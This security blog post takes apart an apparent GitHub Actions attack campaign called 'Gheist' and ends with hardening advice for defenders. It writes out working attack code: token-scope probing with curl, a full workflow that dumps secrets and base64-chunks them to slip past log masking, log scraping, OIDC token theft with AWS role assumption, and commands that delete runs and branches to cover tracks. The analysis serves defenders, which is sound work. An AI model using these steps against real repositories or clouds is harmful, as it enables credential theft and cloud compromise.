Back to Blog
App DevelopmentPublished on October 25, 2026

Anatomy of the Gheist Campaign: Deconstructing CI/CD Runner Pivoting and Ephemeral Secret Dumping in GitHub Actions

Explore how the Gheist threat campaign weaponizes compromised GitHub tokens to inject secret-harvesting workflows and pivot across enterprise cloud environments. This technical teardown breaks down runner execution mechanics, stdout log-scrubbing bypasses, and mitigation strategies for DevSecOps teams.

Introduction: The Shifting Frontier of CI/CD Supply Chain Attacks

Modern continuous integration and continuous deployment (CI/CD) pipelines represent the nervous system of modern software engineering. They maintain unrestricted outbound network access, hold extensive read/write permissions to production infrastructure, and ingest dozens of sensitive environment variables, signing keys, and cloud credentials. For threat actors, compromising a developer's local workstation is merely an initial stepping stone; the ultimate target is almost always the build pipeline.

The emerging "Gheist" campaign exemplifies this shift toward automated, pipeline-native exploitation. Unlike traditional supply chain attacks that backdoor downstream dependencies (such as the event-stream or SolarWinds incidents), the Gheist campaign operates directly against developer infrastructure. By acquiring high-privilege Personal Access Tokens (PATs) and GitHub session credentials, the attackers dynamically plant ephemeral GitHub Actions workflows designed specifically to enumerate, decrypt, obfuscate, and exfiltrate organization-wide secrets before destroying their own audit footprints.

In this technical teardown, we will deconstruct the mechanics of the Gheist workflow injection, analyze how attackers circumvent GitHub's runner-level secret masking engine, and implement defense-in-depth architectural patterns to immunize your pipelines.


Threat Vector Breakdown: From Leaked PAT to Workflow Injection

The entry point of the Gheist campaign typically relies on compromised developer tokens harvested through phishing, developer machine info-stealers (such as Lumma or RedLine), or leaked developer environment files (.env). However, the campaign deviates from standard abuse patterns once token validation occurs.

1. Scope Verification and Privilege Enumeration

When a token is acquired, automated Gheist infrastructure queries GitHub's REST API to evaluate the token's blast radius. Rather than executing manual commands, it fires deterministic probe requests:

# Enumerate token scopes and identity
curl -sI -H "Authorization: Bearer ${TOKEN}" https://api.github.com/user | grep -i "x-oauth-scopes"

# Enumerate accessible repositories with push permissions
curl -s -H "Authorization: Bearer ${TOKEN}" \
  "https://api.github.com/user/repos?per_page=100&affiliation=owner,collaborator,organization_member" \
  | jq -r '.[] | select(.permissions.push == true) | .full_name'

If the token contains the legacy repo umbrella scope or the explicit workflow scope, it possesses write privileges over .github/workflows/ across all repositories where the user has committer rights.

2. Silent Branch Creation and Headless Workflow Staging

To minimize exposure on the repository's primary branch (e.g., main or master), the attacker's automation avoids committing directly to default branches protected by branch rulesets. Instead, the actor executes the following API pipeline:

  1. Queries the target repository's default branch commit SHA via GET /repos/{owner}/{repo}/git/ref/heads/main.
  2. Provisions an orphan or ephemeral ref (e.g., refs/heads/patch-v2-ci-sync).
  3. Commits an innocuous-looking YAML file inside .github/workflows/ utilizing the GitHub Git Database API (blobs, trees, and commits) to bypass simple local git hook signatures.
  4. Configures a workflow_dispatch or push trigger targeting that specific auxiliary branch.
{
  "message": "chore(ci): update test runner configuration",
  "content": "<BASE64_ENCODED_GHEIST_WORKFLOW>",
  "branch": "patch-v2-ci-sync"
}

Inside the Poisoned Workflow: Bypassing Masking Engines

GitHub Actions has an internal security mechanism designed to protect secrets: any string loaded from the ${{ secrets.* }} context is automatically added to a runner-level redaction table. When the runner process streams logs to the central telemetry store, any exact string matching a registered secret is stripped and replaced with ***.

The Gheist payload neutralizes this mitigation using dynamic evaluation and memory/stream transformation techniques.

The Naive Mistake vs. Gheist Evasion

A naive attacker writes:

- run: echo "My secret is ${{ secrets.AWS_SECRET_ACCESS_KEY }}"

The runner replaces this output with ***, rendering standard exfiltration through job run logs ineffective unless the attacker establishes an active reverse TCP tunnel or outbound HTTP webhook.

However, Gheist operations must succeed even in environments where raw outbound connections to non-whitelisted IPs are monitored or blocked by egress firewalls. To harvest secrets through the pipeline's native build logs without triggering masking, Gheist employs programmatic byte transformation.

Bitwise and Base64 Character Dispersal

The core of the secret dumping routine injects an inline Python or Bash script that inspects the environment and systematically bypasses literal pattern matchers:

name: Diagnostic Runner Check
on: [workflow_dispatch]

jobs:
  self-check:
    runs-on: ubuntu-latest
    steps:
      - name: Environment Introspection
        env:
          DUMP_VARS: ${{ toJson(secrets) }}
          CONTEXT_ENV: ${{ toJson(env) }}
        run: |
          python3 -c '
          import os, json, base64

          raw_payload = {}
          for k, v in os.environ.items():
              # Filter for target credential patterns
              if any(pattern in k.upper() for pattern in ["TOKEN", "SECRET", "KEY", "AUTH", "PASS", "AWS", "GITHUB"]):
                  raw_payload[k] = v

          serialized = json.dumps(raw_payload)
          
          # Technique 1: Byte-level chunking with interleaved delimiters
          # GitHub redaction fails because no continuous secret substring matches the registry
          encoded = base64.b64encode(serialized.encode()).decode()
          obfuscated = ".".join([encoded[i:i+2] for i in range(0, len(encoded), 2)])
          
          print("--- BEGIN DIAGNOSTIC FRAME ---")
          print(obfuscated)
          print("--- END DIAGNOSTIC FRAME ---")
          '

Because the Base64 representation of a string changes completely based on byte boundaries, and inserting delimiters (.) breaks consecutive string matches, GitHub's runner redaction filter fails to match the original sensitive strings. The attacker simply scrapes the job logs via the GitHub Actions API:

curl -s -H "Authorization: Bearer ${TOKEN}" \
  "https://api.github.com/repos/{owner}/{repo}/actions/runs/{run_id}/logs" \
  | grep -A 1 "BEGIN DIAGNOSTIC FRAME" -m 1

Once retrieved, a local client strips the delimiter, decodes the Base64 payload, and parses the complete JSON block of cleartext secrets.


Runner Pivoting: Abusing the OIDC Federation Layer

Harvesting static repository secrets is only the first phase. In mature cloud architectures, engineering teams frequently migrate away from long-lived credentials (like static AWS IAM access keys) toward GitHub OpenID Connect (OIDC) identity providers.

When Gheist executes inside a GitHub-hosted runner, it inherently possesses access to an ephemeral execution environment holding a unique internal link: the OIDC token request token and URL.

# Native environment variables exposed inside any step of a GitHub Action
$ACTIONS_ID_TOKEN_REQUEST_URL
$ACTIONS_ID_TOKEN_REQUEST_TOKEN

If the workflow execution context includes the permission permissions: id-token: write, an injected Gheist script directly queries this local daemon:

OIDC_BEARER_TOKEN=$(curl -sLS \
  -H "User-Agent: actions/oidc-client" \
  -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=sts.amazonaws.com" | jq -r '.value')

With this signed JWT, the attacker leverages the AWS Security Token Service (sts:AssumeRoleWithWebIdentity):

aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::123456789012:role/GitHubActionsProductionDeploy \
  --role-session-name gheist-pivot-session \
  --web-identity-token "$OIDC_BEARER_TOKEN"

The Wildcard Sub Claim Vulnerability

This attack succeeds against organizations that implement weak trust policies on their cloud IAM roles. If the cloud trust policy evaluates the token issuer (https://token.actions.githubusercontent.com) but fails to strictly validate the exact sub (subject) claim, any workflow running from any branch (or even any fork) can assume the target role.

A vulnerable AWS IAM Trust Relationship often looks like this:

{
  "Effect": "Allow",
  "Principal": {
    "Federated": "arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com"
  },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
    },
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:acme-org/*:*"
    }
  }
}

Because repo:acme-org/*:* uses wildcards for the branch name and environment context, the attacker's rogue branch refs/heads/patch-v2-ci-sync generates a valid JWT that satisfies the condition, granting full cloud access directly from the compromised pipeline.


Anti-Forensics: Wiping the Paper Trail

To evade SOC detection, the Gheist threat actor performs rapid cleanup through the API within seconds of log exfiltration:

# 1. Delete the workflow run logs entirely
curl -X DELETE -H "Authorization: Bearer ${TOKEN}" \
  "https://api.github.com/repos/{owner}/{repo}/actions/runs/{run_id}"

# 2. Delete the injected branch containing the malicious workflow
curl -X DELETE -H "Authorization: Bearer ${TOKEN}" \
  "https://api.github.com/repos/{owner}/{repo}/git/refs/heads/patch-v2-ci-sync"

While the enterprise audit log records the repo.delete_git_ref and workflow_run.delete events, default monitoring configurations that only alert on malicious pull requests or commits to the default branch miss the transient execution entirely.


Hardening Engineering Pipelines Against Gheist

Defending against pipeline-native credential dumping requires structural controls rather than reactive log monitoring.

1. Enforce Repository Rulesets for Workflow Directory Paths

GitHub Rulesets allow enterprise admins to restrict modifications to critical paths regardless of branch naming conventions. Configure a ruleset targeting All Branches:

  • Include: ~ALL
  • Path restrictions: Prevent creation, update, or deletion of files matching .github/workflows/** unless the action is performed through a pull request requiring two distinct code owners.

2. Lock Down OIDC Subject Claims (sub)

Never wildcard the subject string in AWS, Azure, or GCP trust policies. Ensure the IAM trust relationship pins the exact branch, environment, and SHA where role assumption is permitted:

"Condition": {
  "StringEquals": {
    "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
    "token.actions.githubusercontent.com:sub": "repo:acme-org/core-service:ref:refs/heads/main",
    "token.actions.githubusercontent.com:environment": "production"
  }
}

3. Transition to Fine-Grained Personal Access Tokens (FG-PATs)

Deprecated classic PATs grant sweeping repository access across entire organizations. Transition developers exclusively to Fine-Grained PATs with zero workflow execution permissions:

| Setting | Legacy Classic PAT | Hardened FG-PAT Implementation | | :--- | :--- | :--- | | Scope Isolation | Coarse (repo, workflow) | Granular (per-repository assignment) | | Workflows Permission | Implicit with repo | Explicitly None (Disallow CI/CD modification) | | Token Lifetime | Infinite/Selectable | Mandatory maximum expiration (e.g., 30 days) | | Admin Approval | None | Enforce Organization Approval Workflows |

4. Implement Egress-Filtering on Self-Hosted Runners

If using self-hosted runners or ARC (Actions Runner Controller) on Kubernetes, intercept egress network traffic via eBPF platforms (e.g., Cilium or Tetragon). Restrict outbound traffic strictly to necessary API endpoints (e.g., github.com, package registries, and specific cloud provider APIs). Block arbitrary outbound TCP traffic, preventing data dumps to external command-and-control servers even if scripts bypass stdout masking.

# Example: Cilium Network Policy snippet restricting runner egress
spec:
  egress:
    - toFQDNs:
        - matchName: "api.github.com"
        - matchName: "token.actions.githubusercontent.com"
        - matchName: "sts.amazonaws.com"
    - toPorts:
        - ports:
            - port: "443"
              protocol: TCP

Conclusion: Zero Trust Must Extend to Build Runners

The Gheist campaign proves that treating the build pipeline as a trusted execution domain is an outdated architectural paradigm. As attackers weaponize automation directly against developer platforms, security boundaries must surround every step of the CI/CD lifecycle.

By enforcing granular path-based branch rulesets, hardening cloud OIDC subject evaluations, eliminating uncontained legacy PATs, and monitoring ephemeral runner processes, DevSecOps teams can effectively neutralize automated workflow hijacking before secrets leave their infrastructure.

#DevSecOps#GitHub Actions#CI/CD Security#Cloud Security#AppSec